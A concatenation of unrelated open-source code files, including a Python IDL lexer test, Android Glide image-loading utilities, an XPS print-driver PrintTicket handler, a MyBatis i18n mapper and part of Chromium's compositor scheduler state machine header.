def testExpectedType(self):
for filename in self.filenames:
tokens = FileToTokens(self.lexer, filename)
count = len(tokens)
self.assertTrue(count > 0)
self.assertFalse(count & 1)
index = 0
while index < count:
expect_type = tokens[index].value
actual_type = tokens[index + 1].type
msg = 'Type %s does not match expected %s on line %d of %s.' % (
actual_type, expect_type, tokens[index].lineno, filename)
index += 2
self.assertEqual(expect_type, actual_type, msg)
class PepperIDLLexer(WebIDLLexer):
def setUp(self):
self.lexer = IDLPPAPILexer()
cur_dir = os.path.dirname(os.path.realpath(__file__))
self.filenames = [
os.path.join(cur_dir, 'test_lexer/values_ppapi.in'),
os.path.join(cur_dir, 'test_lexer/keywords_ppapi.in')
]
if __name__ == '__main__':
unittest.main()
| 1,183 |
512 | package xyz.staffjoy.company.dto;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import xyz.staffjoy.common.validation.DayOfWeek;
import xyz.staffjoy.common.validation.Group1;
import xyz.staffjoy.common.validation.Group2;
import xyz.staffjoy.common.validation.Timezone;
import javax.validation.constraints.NotBlank;
@Data
@AllArgsConstructor
@NoArgsConstructor
@Builder
public class CompanyDto {
@NotBlank(groups = {Group1.class})
private String id;
@NotBlank(groups = {Group1.class, Group2.class})
private String name;
private boolean archived;
@Timezone(groups = {Group1.class, Group2.class})
@NotBlank(groups = {Group1.class, Group2.class})
private String defaultTimezone;
@DayOfWeek(groups = {Group1.class, Group2.class})
@NotBlank(groups = {Group1.class, Group2.class})
private String defaultDayWeekStarts;
}
| 335 |
519 | package com.wzq.mvvmsmart.utils;
import android.content.Context;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.BitmapShader;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.widget.ImageView;
import androidx.core.graphics.drawable.RoundedBitmapDrawable;
import androidx.core.graphics.drawable.RoundedBitmapDrawableFactory;
import com.bumptech.glide.Glide;
import com.bumptech.glide.load.engine.bitmap_recycle.BitmapPool;
import com.bumptech.glide.load.resource.bitmap.BitmapTransformation;
import com.bumptech.glide.load.resource.bitmap.CenterCrop;
import com.bumptech.glide.request.RequestOptions;
import com.bumptech.glide.request.target.BitmapImageViewTarget;
import com.wzq.mvvmsmart.R;
import java.io.ByteArrayOutputStream;
import java.security.MessageDigest;
public class GlideLoadUtils {
/***
* 加载圆角图片
* 解决imageView在布局文件设置android:scaleType="centerCrop"属性后,圆角无效的问题
* @param placeHolderID 占位图
* @param target 目标控件
* @param url 资源路径
*/
public static void loadRoundCornerImg(ImageView target, String url, int placeHolderID, int round) {
try {
RequestOptions options = new RequestOptions().transform(new CenterCrop());
Glide.with(target.getContext())
.asBitmap()
.load(url)
.placeholder(placeHolderID)
.apply(options)
.into(new BitmapImageViewTarget(target) {
@Override
protected void setResource(Bitmap resource) {
super.setResource(resource);
RoundedBitmapDrawable roundedBitmapDrawable = RoundedBitmapDrawableFactory.create(target.getContext().getResources(), resource);
roundedBitmapDrawable.setCornerRadius(round);
target.setImageDrawable(roundedBitmapDrawable);
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
/***
* 加载圆形图片
* @param context 上下文
* @param placeHolderID 占位图
* @param target 目标控件
* @param url 资源路径
*/
public static void loadCircleImg(Context context, int placeHolderID, ImageView target, String url) {
try {
Glide.with(context)
.load(url)
.placeholder(placeHolderID)
.apply(RequestOptions.circleCropTransform())
.into(target);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 王志强 2019/12/23
* 圆形图片外边带一个圈, 经常用于加载头像
*/
public static void loadCircleImgBorder(Context context, int placeHolderID, ImageView target, String url) {
try {
Glide.with(context)
.load(url)
.circleCrop()
.placeholder(placeHolderID)
.transform(new GlideCircleTransformWithBorder(context, 2, context.getResources().getColor(R.color.white)))
// .diskCacheStrategy(DiskCacheStrategy.ALL)
.into(target);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 设置圆角bitmap
*
* @param context
* @param placeHolderID
* @param target
* @param bitmap
*/
public static void loadRoundImgWithBitmap(final Context context, int placeHolderID, final ImageView target, Bitmap bitmap) {
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos);
byte[] bytes = baos.toByteArray();
Glide.with(context)
.load(bytes)
.placeholder(placeHolderID)
.apply(RequestOptions.circleCropTransform())
.into(target);
} catch (Exception e) {
e.printStackTrace();
}
}
static class GlideCircleTransformWithBorder extends BitmapTransformation {
private Paint mBorderPaint;
private float mBorderWidth;
public GlideCircleTransformWithBorder(Context context) {
}
public GlideCircleTransformWithBorder(Context context, int borderWidth, int borderColor) {
mBorderWidth = Resources.getSystem().getDisplayMetrics().density * borderWidth;
mBorderPaint = new Paint();
mBorderPaint.setDither(true);
mBorderPaint.setAntiAlias(true);
mBorderPaint.setColor(borderColor);
mBorderPaint.setStyle(Paint.Style.STROKE);
mBorderPaint.setStrokeWidth(mBorderWidth);
}
protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {
return circleCrop(pool, toTransform);
}
private Bitmap circleCrop(BitmapPool pool, Bitmap source) {
if (source == null) return null;
int size = (int) (Math.min(source.getWidth(), source.getHeight()) - (mBorderWidth / 2));
int x = (source.getWidth() - size) / 2;
int y = (source.getHeight() - size) / 2;
Bitmap squared = Bitmap.createBitmap(source, x, y, size, size);
Bitmap result = pool.get(size, size, Bitmap.Config.ARGB_8888);
if (result == null) {
result = Bitmap.createBitmap(size, size, Bitmap.Config.ARGB_8888);
}
Canvas canvas = new Canvas(result);
Paint paint = new Paint();
paint.setShader(new BitmapShader(squared, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP));
paint.setAntiAlias(true);
float r = size / 2f;
canvas.drawCircle(r, r, r, paint);
if (mBorderPaint != null) {
float borderRadius = r - mBorderWidth / 2;
canvas.drawCircle(r, r, borderRadius, mBorderPaint);
}
return result;
}
@Override
public void updateDiskCacheKey(MessageDigest messageDigest) {
}
}
} | 3,053 |
5,250 | <filename>modules/flowable-cmmn-engine/src/main/java/org/flowable/cmmn/engine/impl/behavior/CmmnTriggerableActivityBehavior.java
/* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.flowable.cmmn.engine.impl.behavior;
import org.flowable.cmmn.api.CmmnRuntimeService;
import org.flowable.cmmn.api.delegate.DelegatePlanItemInstance;
import org.flowable.cmmn.api.runtime.PlanItemInstance;
import org.flowable.cmmn.model.PlanItem;
/**
* Behavior interface, like {@link CmmnActivityBehavior}, when the CMMN engine
* decides the behavior for a plan item needs to be executed and the behavior
* acts as a wait state.
*
* This means that after the {@link #execute(DelegatePlanItemInstance)} method is called,
* the engine will not automatically complete the corresponding {@link PlanItemInstance}
* as happens for the {@link CmmnActivityBehavior} implementations.
*
* Note that 'triggering' a plan item that acts as a wait state is not part
* of the CMMN specification, but has been added as an explicit concept to mimic
* the concept of 'triggering' used by the process engine.
*
* Any plan item that implements this interface should be triggereable programmatically
* through the {@link CmmnRuntimeService#triggerPlanItemInstance(String)} method.
*
* Concrete implementations of this class will be set on the {@link PlanItem}
* in the case model during parsing.
*
* @author <NAME>
*/
public interface CmmnTriggerableActivityBehavior extends CmmnActivityBehavior {
void trigger(DelegatePlanItemInstance planItemInstance);
}
| 584 |
636 | package cn.org.atool.fluent.mybatis.generator.shared3.dao.impl;
import cn.org.atool.fluent.mybatis.generator.shared3.dao.base.MemberLoveBaseDao;
import cn.org.atool.fluent.mybatis.generator.shared3.dao.intf.MemberLoveDao;
import org.springframework.stereotype.Repository;
/**
* MemberLoveDaoImpl: 数据操作接口实现
* <p>
* 这只是一个减少手工创建的模板文件
* 可以任意添加方法和实现, 更改作者和重定义类名
* <p/>@author Powered By Fluent Mybatis
*/
@Repository
public class MemberLoveDaoImpl extends MemberLoveBaseDao implements MemberLoveDao {
}
| 273 |
2,406 | // Copyright (C) 2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "behavior/infer_request/callback.hpp"
#include "conformance.hpp"
namespace {
using namespace BehaviorTestsDefinitions;
using namespace ConformanceTests;
const std::vector<std::map<std::string, std::string>> configsCallback = {
{},
};
const std::vector<std::map<std::string, std::string>> multiConfigsCallback = {
{{MULTI_CONFIG_KEY(DEVICE_PRIORITIES), targetDevice}}
};
const std::vector<std::map<std::string, std::string>> autoConfigsCallback = {
{{AUTO_CONFIG_KEY(DEVICE_LIST), targetDevice}}
};
INSTANTIATE_TEST_SUITE_P(smoke_BehaviorTests, InferRequestCallbackTests,
::testing::Combine(
::testing::Values(targetDevice),
::testing::ValuesIn(configsCallback)),
InferRequestCallbackTests::getTestCaseName);
INSTANTIATE_TEST_SUITE_P(smoke_Multi_BehaviorTests, InferRequestCallbackTests,
::testing::Combine(
::testing::Values(CommonTestUtils::DEVICE_MULTI),
::testing::ValuesIn(multiConfigsCallback)),
InferRequestCallbackTests::getTestCaseName);
INSTANTIATE_TEST_SUITE_P(smoke_Auto_BehaviorTests, InferRequestCallbackTests,
::testing::Combine(
::testing::Values(CommonTestUtils::DEVICE_AUTO),
::testing::ValuesIn(autoConfigsCallback)),
InferRequestCallbackTests::getTestCaseName);
} // namespace
| 792 |
3,494 | #include "cinder/Cinder.h"
// FIXME: OOURA roundtrip FFT seems to be broken on windows for sizeFft = 4 (https://github.com/cinder/Cinder/issues/1263)
#if defined( CINDER_MAC )
#include "catch.hpp"
#include "utils.h"
#include "cinder/Log.h"
#include "cinder/audio/dsp/Fft.h"
#include <iostream>
using namespace ci::audio;
namespace {
void computeRoundTrip( size_t sizeFft )
{
dsp::Fft fft( sizeFft );
Buffer waveform( sizeFft );
BufferSpectral spectral( sizeFft );
fillRandom( &waveform );
Buffer waveformCopy( waveform );
fft.forward( &waveform, &spectral );
// guarantee waveform was not modified
float errAfterTransfer = maxError( waveform, waveformCopy );
REQUIRE( errAfterTransfer < ACCEPTABLE_FLOAT_ERROR );
BufferSpectral spectralCopy( spectral );
fft.inverse( &spectral, &waveform );
// guarantee spectral was not modified
float errAfterInverseTransfer = maxError( spectral, spectralCopy );
REQUIRE( errAfterInverseTransfer < ACCEPTABLE_FLOAT_ERROR );
float maxErr = maxError( waveform, waveformCopy );
CI_LOG_I( "\tsizeFft: " << sizeFft << ", max error: " << maxErr );
REQUIRE( maxErr < ACCEPTABLE_FLOAT_ERROR );
}
}
TEST_CASE( "audio/Fft" )
{
SECTION( "round trip error" )
{
CI_LOG_I( "... Fft round trip max acceptable error: " << ACCEPTABLE_FLOAT_ERROR );
for( size_t i = 0; i < 14; i ++ )
computeRoundTrip( 2 << i );
}
} // "audio/Fft"
#endif // ! defined( CINDER_MSW )
| 594 |
387 | {
"name": "describe-dependency-2",
"targetType": "sourceLibrary",
"description": "A test describe project",
"authors": ["nobody"],
"homepage": "fake.com",
"license": "BSD 2-clause",
"copyright": "Copyright © 2015, nobody",
"importPaths": ["some-path"],
"stringImportPaths": ["some-extra-string-import-path"],
}
| 133 |
588 | <filename>third_party/boost/include/boost/asio/detail/cstdint.hpp
//
// detail/cstdint.hpp
// ~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2020 <NAME> (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef BOOST_ASIO_DETAIL_CSTDINT_HPP
#define BOOST_ASIO_DETAIL_CSTDINT_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include <boost/asio/detail/config.hpp>
#if defined(BOOST_ASIO_HAS_CSTDINT)
# include <cstdint>
#else // defined(BOOST_ASIO_HAS_CSTDINT)
# include <boost/cstdint.hpp>
#endif // defined(BOOST_ASIO_HAS_CSTDINT)
namespace boost {
namespace asio {
#if defined(BOOST_ASIO_HAS_CSTDINT)
using std::int16_t;
using std::int_least16_t;
using std::uint16_t;
using std::uint_least16_t;
using std::int32_t;
using std::int_least32_t;
using std::uint32_t;
using std::uint_least32_t;
using std::int64_t;
using std::int_least64_t;
using std::uint64_t;
using std::uint_least64_t;
using std::uintmax_t;
#else // defined(BOOST_ASIO_HAS_CSTDINT)
using boost::int16_t;
using boost::int_least16_t;
using boost::uint16_t;
using boost::uint_least16_t;
using boost::int32_t;
using boost::int_least32_t;
using boost::uint32_t;
using boost::uint_least32_t;
using boost::int64_t;
using boost::int_least64_t;
using boost::uint64_t;
using boost::uint_least64_t;
using boost::uintmax_t;
#endif // defined(BOOST_ASIO_HAS_CSTDINT)
} // namespace asio
} // namespace boost
#endif // BOOST_ASIO_DETAIL_CSTDINT_HPP
| 680 |
1,238 | {
// To avoid different format settings from
// triggering cosmetic changes.
"editor.formatOnSave": false,
} | 36 |
3,084 | <filename>print/XPSDrvSmpl/src/common/cmprofpthndlr.cpp
/*++
Copyright (c) 2005 Microsoft Corporation
All rights reserved.
THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
PARTICULAR PURPOSE.
File Name:
cmprofpthndlr.cpp
Abstract:
PageSourceColorProfile PrintTicket handling implementation.
The PageSourceColorProfile PT handler is used to extract
PageSourceColorProfile settings from a PrintTicket and populate
the PageSourceColorProfile data structure with the retrieved
settings. The class also defines a method for setting the feature in
the PrintTicket given the data structure.
--*/
#include "precomp.h"
#include "debug.h"
#include "globals.h"
#include "xdexcept.h"
#include "ptquerybld.h"
#include "cmprofpthndlr.h"
using XDPrintSchema::SCHEMA_STRING;
using XDPrintSchema::PRINTTICKET_NAME;
using XDPrintSchema::PageSourceColorProfile::PageSourceColorProfileData;
using XDPrintSchema::PageSourceColorProfile::EProfileOption;
using XDPrintSchema::PageSourceColorProfile::EProfileOptionMin;
using XDPrintSchema::PageSourceColorProfile::EProfileOptionMax;
using XDPrintSchema::PageSourceColorProfile::PROFILE_FEATURE;
using XDPrintSchema::PageSourceColorProfile::PROFILE_OPTIONS;
using XDPrintSchema::PageSourceColorProfile::PROFILE_URI_PROP;
using XDPrintSchema::PageSourceColorProfile::PROFILE_URI_REF;
using XDPrintSchema::PageSourceColorProfile::RGB;
using XDPrintSchema::PageSourceColorProfile::CMYK;
/*++
Routine Name:
CColorManageProfilePTHandler::CColorManageProfilePTHandler
Routine Description:
CColorManageProfilePTHandler class constructor
Arguments:
pPrintTicket - Pointer to the DOM document representation of the PrintTicket
Return Value:
None
--*/
CColorManageProfilePTHandler::CColorManageProfilePTHandler(
_In_ IXMLDOMDocument2* pPrintTicket
) :
CPTHandler(pPrintTicket)
{
}
/*++
Routine Name:
CColorManageProfilePTHandler::~CColorManageProfilePTHandler
Routine Description:
CColorManageProfilePTHandler class destructor
Arguments:
None
Return Value:
None
--*/
CColorManageProfilePTHandler::~CColorManageProfilePTHandler()
{
}
/*++
Routine Name:
CColorManageProfilePTHandler::GetData
Routine Description:
The routine fills the data structure passed in with color profile data
retrieved from the PrintTicket passed to the class constructor.
Arguments:
pCmData - Pointer to the color profile data structure to be filled in
Return Value:
HRESULT
S_OK - On success
E_ELEMENT_NOT_FOUND - Feature not present in PrintTicket
E_* - On error
--*/
HRESULT
CColorManageProfilePTHandler::GetData(
_Inout_ PageSourceColorProfileData* pCmData
)
{
HRESULT hr = S_OK;
if (SUCCEEDED(hr = CHECK_POINTER(pCmData, E_POINTER)))
{
CComBSTR option;
if (SUCCEEDED(hr = GetFeatureOption(CComBSTR(PROFILE_FEATURE), &option)) &&
SUCCEEDED(GetScoredPropertyValue(CComBSTR(PROFILE_FEATURE), CComBSTR(PROFILE_URI_PROP), &pCmData->cmProfileName))
)
{
pCmData->cmProfile = CMYK; // default to CMYK
for (EProfileOption cmOption = EProfileOptionMin;
cmOption < EProfileOptionMax;
cmOption = static_cast<EProfileOption>(cmOption + 1))
{
if (option == CComBSTR(PROFILE_OPTIONS[cmOption]))
{
pCmData->cmProfile = cmOption;
}
}
}
}
ERR_ON_HR_EXC(hr, E_ELEMENT_NOT_FOUND);
return hr;
}
/*++
Routine Name:
CColorManageProfilePTHandler::SetData
Routine Description:
This routine sets the color profile data in the PrintTicket
passed to the class constructor.
Arguments:
pCmData - Pointer to the color profile data to be set in the PrintTicket
Return Value:
HRESULT
S_OK - On success
E_* - On error
--*/
HRESULT
CColorManageProfilePTHandler::SetData(
_In_ CONST PageSourceColorProfileData* pCmData
)
{
HRESULT hr = S_OK;
if (SUCCEEDED(hr = CHECK_POINTER(pCmData, E_POINTER)))
{
CComPtr<IXMLDOMElement> pFeature(NULL);
CComPtr<IXMLDOMElement> pOption(NULL);
CComPtr<IXMLDOMElement> pUriProperty(NULL);
CComPtr<IXMLDOMElement> pRef(NULL);
CComPtr<IXMLDOMElement> pInit(NULL);
CComBSTR bstrFeature(PROFILE_FEATURE);
if (SUCCEEDED(hr = DeleteFeature(bstrFeature)) &&
SUCCEEDED(hr = CreateFeatureOptionPair(bstrFeature, CComBSTR(PROFILE_OPTIONS[pCmData->cmProfile]), &pFeature, &pOption)) &&
SUCCEEDED(hr = CreateParamRefInitPair(CComBSTR(PROFILE_URI_REF), CComBSTR(SCHEMA_STRING), pCmData->cmProfileName, &pRef, &pInit)) &&
SUCCEEDED(hr = CreateScoredProperty(CComBSTR(PROFILE_URI_PROP), pRef, &pUriProperty)) &&
SUCCEEDED(hr = pOption->appendChild(pUriProperty, NULL)) &&
SUCCEEDED(hr = AppendToElement(CComBSTR(PRINTTICKET_NAME), pInit)))
{
SUCCEEDED(hr = AppendToElement(CComBSTR(PRINTTICKET_NAME), pFeature));
}
}
ERR_ON_HR(hr);
return hr;
}
| 2,396 |
432 | <reponame>TGTang/ballcat<gh_stars>100-1000
package com.hccake.ballcat.i18n.mapper;
import com.baomidou.mybatisplus.core.conditions.Wrapper;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.toolkit.SqlHelper;
import com.hccake.ballcat.i18n.converter.I18nDataConverter;
import com.hccake.ballcat.i18n.model.dto.I18nDataDTO;
import com.hccake.ballcat.i18n.model.entity.I18nData;
import com.hccake.ballcat.i18n.model.qo.I18nDataQO;
import com.hccake.ballcat.i18n.model.vo.I18nDataPageVO;
import com.hccake.ballcat.common.model.domain.PageParam;
import com.hccake.ballcat.common.model.domain.PageResult;
import com.hccake.extend.mybatis.plus.conditions.query.LambdaQueryWrapperX;
import com.hccake.extend.mybatis.plus.mapper.ExtendMapper;
import com.hccake.extend.mybatis.plus.toolkit.WrappersX;
import java.util.List;
/**
* 国际化信息
*
* @author hccake 2021-08-06 10:48:25
*/
public interface I18nDataMapper extends ExtendMapper<I18nData> {
/**
* 分页查询
* @param pageParam 分页参数
* @param qo 查询参数
* @return PageResult<I18nDataPageVO> VO分页数据
*/
default PageResult<I18nDataPageVO> queryPage(PageParam pageParam, I18nDataQO qo) {
IPage<I18nData> page = this.prodPage(pageParam);
Wrapper<I18nData> wrapper = buildQueryWrapper(qo);
this.selectPage(page, wrapper);
IPage<I18nDataPageVO> voPage = page.convert(I18nDataConverter.INSTANCE::poToPageVo);
return new PageResult<>(voPage.getRecords(), voPage.getTotal());
}
/**
* 根据 qo 构造查询 wrapper
* @param qo 查询条件
* @return LambdaQueryWrapperX
*/
default Wrapper<I18nData> buildQueryWrapper(I18nDataQO qo) {
LambdaQueryWrapperX<I18nData> wrapper = WrappersX.lambdaQueryX(I18nData.class);
wrapper.likeIfPresent(I18nData::getCode, qo.getCode()).likeIfPresent(I18nData::getMessage, qo.getMessage())
.eqIfPresent(I18nData::getLanguageTag, qo.getLanguageTag());
return wrapper;
}
/**
* 查询 i18nData 数据
* @param i18nDataQO 查询条件
* @return List
*/
default List<I18nData> queryList(I18nDataQO i18nDataQO) {
Wrapper<I18nData> wrapper = buildQueryWrapper(i18nDataQO);
return this.selectList(wrapper);
}
/**
* 查询 i18nData 数据
* @param code 国际化标识
* @return List
*/
default List<I18nData> listByCode(String code) {
Wrapper<I18nData> wrapper = Wrappers.lambdaQuery(I18nData.class).eq(I18nData::getCode, code);
return this.selectList(wrapper);
}
/**
* 根据 code 和 languageTag 查询指定的 I18nData
* @param code 国际化标识
* @param languageTag 语言标签
* @return I18nData
*/
default I18nData selectByCodeAndLanguageTag(String code, String languageTag) {
LambdaQueryWrapper<I18nData> wrapper = Wrappers.lambdaQuery(I18nData.class).eq(I18nData::getCode, code)
.eq(I18nData::getLanguageTag, languageTag);
return this.selectOne(wrapper);
}
/**
* 根据 code 和 languageTag 修改指定的 I18nData
* @param i18nDataDTO i18nDataDTO
* @return updated true or false
*/
default boolean updateByCodeAndLanguageTag(I18nDataDTO i18nDataDTO) {
LambdaUpdateWrapper<I18nData> wrapper = Wrappers.lambdaUpdate(I18nData.class)
.eq(I18nData::getCode, i18nDataDTO.getCode())
.eq(I18nData::getLanguageTag, i18nDataDTO.getLanguageTag());
I18nData entity = new I18nData();
entity.setMessage(i18nDataDTO.getMessage());
entity.setRemarks(i18nDataDTO.getRemarks());
return SqlHelper.retBool(this.update(entity, wrapper));
}
/**
* 根据 code 和 languageTag 删除指定的 I18nData
* @param code 国际化标识
* @param languageTag 语言标签
* @return I18nData
*/
default boolean deleteByCodeAndLanguageTag(String code, String languageTag) {
LambdaQueryWrapper<I18nData> wrapper = Wrappers.lambdaQuery(I18nData.class).eq(I18nData::getCode, code)
.eq(I18nData::getLanguageTag, languageTag);
return SqlHelper.retBool(this.delete(wrapper));
}
/**
* 查询已存在的 i18nData(根据 code 和 languageTag 联合唯一键)
* @param list i18nDataList
* @return List<I18nData>
*/
default List<I18nData> exists(List<I18nData> list) {
// 组装 sql
LambdaQueryWrapper<I18nData> wrapper = Wrappers.lambdaQuery(I18nData.class);
for (I18nData i18nData : list) {
wrapper.or(w -> {
String code = i18nData.getCode();
String languageTag = i18nData.getLanguageTag();
w.eq(I18nData::getCode, code).eq(I18nData::getLanguageTag, languageTag);
});
}
return this.selectList(wrapper);
}
} | 2,019 |
14,668 | <reponame>chromium/chromium
// Copyright 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CC_SCHEDULER_SCHEDULER_STATE_MACHINE_H_
#define CC_SCHEDULER_SCHEDULER_STATE_MACHINE_H_
#include <stdint.h>
#include "cc/cc_export.h"
#include "cc/scheduler/commit_earlyout_reason.h"
#include "cc/scheduler/draw_result.h"
#include "cc/scheduler/scheduler_settings.h"
#include "cc/tiles/tile_priority.h"
#include "components/viz/common/frame_sinks/begin_frame_args.h"
#include "third_party/perfetto/protos/perfetto/trace/track_event/chrome_compositor_scheduler_state.pbzero.h"
namespace cc {
enum class ScrollHandlerState {
SCROLL_AFFECTS_SCROLL_HANDLER,
SCROLL_DOES_NOT_AFFECT_SCROLL_HANDLER,
};
// The SchedulerStateMachine decides how to coordinate main thread activites
// like painting/running javascript with rendering and input activities on the
// impl thread.
//
// The state machine tracks internal state but is also influenced by external
// state. Internal state includes things like whether a frame has been
// requested, while external state includes things like the current time being
// near to the vblank time.
//
// The scheduler seperates "what to do next" from the updating of its internal
// state to make testing cleaner.
class CC_EXPORT SchedulerStateMachine {
public:
// settings must be valid for the lifetime of this class.
explicit SchedulerStateMachine(const SchedulerSettings& settings);
SchedulerStateMachine(const SchedulerStateMachine&) = delete;
~SchedulerStateMachine();
SchedulerStateMachine& operator=(const SchedulerStateMachine&) = delete;
enum class LayerTreeFrameSinkState {
NONE,
ACTIVE,
CREATING,
WAITING_FOR_FIRST_COMMIT,
WAITING_FOR_FIRST_ACTIVATION,
};
static perfetto::protos::pbzero::ChromeCompositorStateMachine::MajorState::
LayerTreeFrameSinkState
LayerTreeFrameSinkStateToProtozeroEnum(LayerTreeFrameSinkState state);
// Note: BeginImplFrameState does not cycle through these states in a fixed
// order on all platforms. It's up to the scheduler to set these correctly.
enum class BeginImplFrameState {
IDLE,
INSIDE_BEGIN_FRAME,
INSIDE_DEADLINE,
};
static perfetto::protos::pbzero::ChromeCompositorStateMachine::MajorState::
BeginImplFrameState
BeginImplFrameStateToProtozeroEnum(BeginImplFrameState state);
// These values are persisted to logs. Entries should not be renumbered and
// numeric values should never be reused.
// TODO(weiliangc): The histogram is used to understanding what type of
// deadline mode do we encounter in real world and is set to expire after
// 2022. The Enum can be changed after the histogram is removed.
// The scheduler uses a deadline to wait for main thread updates before
// submitting a compositor frame. BeginImplFrameDeadlineMode specifies when
// the deadline should run.
enum class BeginImplFrameDeadlineMode {
NONE = 0, // No deadline should be scheduled e.g. for synchronous
// compositor.
IMMEDIATE = 1, // Deadline should be scheduled to run immediately.
REGULAR = 2, // Deadline should be scheduled to run at the deadline
// provided by in the BeginFrameArgs.
LATE = 3, // Deadline should be scheduled run when the next frame is
// expected to arrive.
BLOCKED = 4, // Deadline should be blocked indefinitely until the next
// frame arrives.
kMaxValue = BLOCKED,
};
// TODO(nuskos): Update Scheduler::ScheduleBeginImplFrameDeadline event to
// used typed macros so we can remove this ToString function.
static const char* BeginImplFrameDeadlineModeToString(
BeginImplFrameDeadlineMode mode);
static perfetto::protos::pbzero::ChromeCompositorSchedulerState::
BeginImplFrameDeadlineMode
BeginImplFrameDeadlineModeToProtozeroEnum(
BeginImplFrameDeadlineMode mode);
enum class BeginMainFrameState {
IDLE, // A new BeginMainFrame can start.
SENT, // A BeginMainFrame has already been issued.
READY_TO_COMMIT, // A previously issued BeginMainFrame has been processed,
// and is ready to commit.
};
static perfetto::protos::pbzero::ChromeCompositorStateMachine::MajorState::
BeginMainFrameState
BeginMainFrameStateToProtozeroEnum(BeginMainFrameState state);
// When a redraw is forced, it goes through a complete commit -> activation ->
// draw cycle. Until a redraw has been forced, it remains in IDLE state.
enum class ForcedRedrawOnTimeoutState {
IDLE,
WAITING_FOR_COMMIT,
WAITING_FOR_ACTIVATION,
WAITING_FOR_DRAW,
};
static perfetto::protos::pbzero::ChromeCompositorStateMachine::MajorState::
ForcedRedrawOnTimeoutState
ForcedRedrawOnTimeoutStateToProtozeroEnum(
ForcedRedrawOnTimeoutState state);
BeginMainFrameState begin_main_frame_state() const {
return begin_main_frame_state_;
}
bool CommitPending() const {
return begin_main_frame_state_ != BeginMainFrameState::IDLE;
}
bool NewActiveTreeLikely() const {
return (needs_begin_main_frame_ && !last_commit_had_no_updates_) ||
CommitPending() || has_pending_tree_;
}
bool RedrawPending() const { return needs_redraw_; }
bool PrepareTilesPending() const { return needs_prepare_tiles_; }
enum class Action {
NONE,
SEND_BEGIN_MAIN_FRAME,
COMMIT,
ACTIVATE_SYNC_TREE,
PERFORM_IMPL_SIDE_INVALIDATION,
DRAW_IF_POSSIBLE,
DRAW_FORCED,
DRAW_ABORT,
BEGIN_LAYER_TREE_FRAME_SINK_CREATION,
PREPARE_TILES,
INVALIDATE_LAYER_TREE_FRAME_SINK,
NOTIFY_BEGIN_MAIN_FRAME_NOT_EXPECTED_UNTIL,
NOTIFY_BEGIN_MAIN_FRAME_NOT_EXPECTED_SOON,
};
static perfetto::protos::pbzero::ChromeCompositorSchedulerAction
ActionToProtozeroEnum(Action action);
void AsProtozeroInto(
perfetto::protos::pbzero::ChromeCompositorStateMachine* state) const;
Action NextAction() const;
void WillSendBeginMainFrame();
void WillNotifyBeginMainFrameNotExpectedUntil();
void WillNotifyBeginMainFrameNotExpectedSoon();
void WillCommit(bool commit_had_no_updates);
void WillActivate();
void WillDraw();
void WillBeginLayerTreeFrameSinkCreation();
void WillPrepareTiles();
void WillInvalidateLayerTreeFrameSink();
void WillPerformImplSideInvalidation();
void DidDraw(DrawResult draw_result);
void AbortDraw();
// Indicates whether the impl thread needs a BeginImplFrame callback in order
// to make progress.
bool BeginFrameNeeded() const;
// Indicates that the system has entered and left a BeginImplFrame callback.
// The scheduler will not draw more than once in a given BeginImplFrame
// callback nor send more than one BeginMainFrame message.
void OnBeginImplFrame(const viz::BeginFrameId& frame_id, bool animate_only);
// Indicates that the scheduler has entered the draw phase. The scheduler
// will not draw more than once in a single draw phase.
// TODO(sunnyps): Rename OnBeginImplFrameDeadline to OnDraw or similar.
void OnBeginImplFrameDeadline();
void OnBeginImplFrameIdle();
int current_frame_number() const { return current_frame_number_; }
BeginImplFrameState begin_impl_frame_state() const {
return begin_impl_frame_state_;
}
// Returns BeginImplFrameDeadlineMode computed based on current state.
BeginImplFrameDeadlineMode CurrentBeginImplFrameDeadlineMode() const;
// If the main thread didn't manage to produce a new frame in time for the
// impl thread to draw, it is in a high latency mode.
bool main_thread_missed_last_deadline() const {
return main_thread_missed_last_deadline_;
}
bool IsDrawThrottled() const;
// Indicates whether the LayerTreeHostImpl is visible.
void SetVisible(bool visible);
bool visible() const { return visible_; }
void SetBeginFrameSourcePaused(bool paused);
bool begin_frame_source_paused() const { return begin_frame_source_paused_; }
// Indicates that a redraw is required, either due to the impl tree changing
// or the screen being damaged and simply needing redisplay. Note that if the
// changes in the impl tree has not been activated yet, then |needs_redraw()|
// can return false. For checking any invalidations, check
// |did_invalidate_layer_tree_frame_sink()|.
void SetNeedsRedraw();
bool needs_redraw() const { return needs_redraw_; }
